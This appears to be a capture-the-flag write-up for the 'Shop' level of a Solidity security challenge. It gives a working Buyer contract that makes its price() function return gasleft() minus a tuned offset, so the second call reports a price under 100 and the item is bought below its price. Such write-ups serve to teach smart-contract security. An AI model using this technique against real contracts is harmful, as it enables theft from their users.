21-shop.md

one possible solution would be to read the isSold variable from the Shop contract and return a different price value, but the call gas isn't enough. My idea here is to use gasleft() with an offset for the price; the second call at the end of the contract should have less gas left, enabling the Buyer contract to return a value < 100.

contract Buyer {
    Shop shop;
    uint public offset;

    function price() public view returns (uint) {
        return gasleft() - offset;
    }

    function buy() public {
        shop.buy();
    }

    function setOffset(uint _offset) public {
        offset = _offset;
    }

    function setShop(address instance) public {
        shop = Shop(instance);
    }
}

I first test it with offset = 0 to get an initial value for the price. Then, take that value and set offset = value - 100. The first call should be 100, but the second (assuming a tight gas value for the tx) will be < 100.